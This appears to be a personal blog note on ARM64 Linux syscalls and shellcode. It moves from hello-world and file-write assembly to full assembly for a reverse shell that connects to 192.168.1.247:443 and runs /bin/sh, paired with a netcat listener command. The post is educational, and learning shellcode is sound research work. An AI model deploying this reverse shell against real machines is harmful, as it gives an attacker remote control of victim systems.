Skip to main content

Command Palette

Search for a command to run...

ARM64 Assembly & Shellcode Basics (From File I/O to Reverse Shell)

Updated
View as Markdown

With the rise of Apple Silicon and mobile devices (including iOS and Android), understanding ARM64 assembly is becoming essential for vulnerability researchers and red teamers.

Today, I spent some time diving into ARM64 Linux syscalls and shellcode development. Here are my notes on progressing from a simple "Hello World", to a file operation, and finally to the conceptual flow of a reverse shell.

1. The Basics: Hello World to STDOUT (Syscall 64)

In ARM64 Linux, system calls are invoked using the svc 0 instruction. The syscall number is stored in the x8 (or w8) register, and the arguments are passed in x0 to x5.

Here is a minimal assembly snippet to print a string to the console using the write syscall (Syscall 64):

.section .data
string:
	.asciz "helloWorld"

.section .text
.globl _start

_start:
	mov x0, 1		    // File descriptor is stdout
	ldr x1, =string		// Load the address of the string
	mov x2, 9		    // The lenght of the stirng 9
	mov x8, 64		    // System call number for write is 64
	svc 0			    // Make the system call

	mov x8, 93		    // System call number for exit is 93
	mov x0, 0		    // Exit code is 0
	svc 0

Then, compile it using the cross-compiler. Once we execute ./hello we get the printed output:

/demo$ aarch64-linux-gnu-as helloworld.s -o helloworld.o
/demo$ aarch64-linux-gnu-ld helloworld.o -o hello

./hello
helloWorld

2. Upgrading to File Write (Syscall 56 & 64)

To actually write data to a file on disk, we need to open it first using openat (Syscall 56) and then append our write syscall block.

By checking the Chromium OS Syscall Table, we know openat is 56 and write is 64. Since openat returns the file descriptor directly in x0, we can seamlessly pass it to the write operation:

.section .data
string:    .asciz "Hello World \n"
filename:  .asciz "output.txt"

.section .text
.globl _start

_start:
    // 1. Open the file (Same as above)
    mov x0, -100             // AT_FDCWD: Current working directory   
    ldr x1, =filename       
    mov x2, 0101            // Flags: O_CREAT (0100) | O_WRONLY (0001) in octal
    mov x3, 0644            // File permissions: RW-R--R--
    mov x8, 56              // System call number for openat is 56
    svc 0                   

    // 2. Write to the file
    // x0 already holds the file descriptor returned by openat
    ldr x1, =string         // Load the address of the string
    mov x2, 13              // The length of the string
    mov x8, 64              // System call number for write is 64
    svc 0                   // Make system call

    // 3. Exit the program
    mov x8, 93              
    mov x0, 0               
    svc 0

Compile and run:

aarch64-linux-gnu-as writeinfile.s -o writeinfile.o
aarch64-linux-gnu-ld writeinfile.o -o writeinfile
./writeinfile

cat output.txt
Hello World

If we `cat output.txt`, we will get "Hello World" inside

3. Advanced: The Reverse Shell

Once you understand how syscalls work in ARM64, writing a reverse shell is essentially just chaining four specific syscalls together: socket -> connect -> dup3 -> execve.

Here is the conceptual blueprint of the assembly flow:

.section .text
.global _start
_start:

    // 1. socket(AF_INET, SOCK_STREAM, 0)
    mov x0, #2
    mov x1, #1
    mov x2, #0
    mov w8, #198        // x8 = 198 (socket)
    svc #0              // x0 = resultant sockfd
    mov x4, x0          // save sockfd in x4 for later use

    // 2. connect(sockfd, &sockaddr, 16)
    mov x0, x4          
    adr x1, struct      // pointer to address, port
    mov x2, #16
    mov w8, #203        // x8 = 203 (connect)
    svc #0  

    // 3. dup3(sockfd, 0, 0) - Redirect STDIN
    mov x0, x4          // x0 = saved sockfd
    mov x1, #0          // x1 = 0 (stdin)
    mov x2, #0          
    mov w8, #24         // x8 = 24 (dup3)
    svc #0  

    // 4. dup3(sockfd, 1, 0) - Redirect STDOUT
    mov x0, x4          
    mov x1, #1          // x1 = 1 (stdout)
    mov x2, #0  
    mov w8, #24         
    svc #0  

    // 5. execve("/bin/sh", NULL, NULL)
    adr x0, binsh       // adr instruction to load string pointer
    mov x1, #0  
    mov x2, #0 
    mov w8, #221        // x8 = 221 (execve)
    svc #0  

struct:
    .ascii  "\x02\x00"      // AF_INET
    .ascii  "\x01\xBB"      // Port 443 in hex (0x01BB)
    .byte   192,168,1,247   // IP Address
binsh:
    .asciz  "/bin/sh"       // Null-terminated string for execve

Then, compile it:

aarch64-linux-gnu-as reverse.s -o reverse.o
aarch64-linux-gnu-ld reverse.o -o reverse

./reverse

(Note: Before running ./reverse, make sure to start a listener on your attacking machine using nc -lvnp 443, otherwise the connect syscall will fail and the program will crash!)

TIL

Part 1 of 1

Just write some note about what I learn today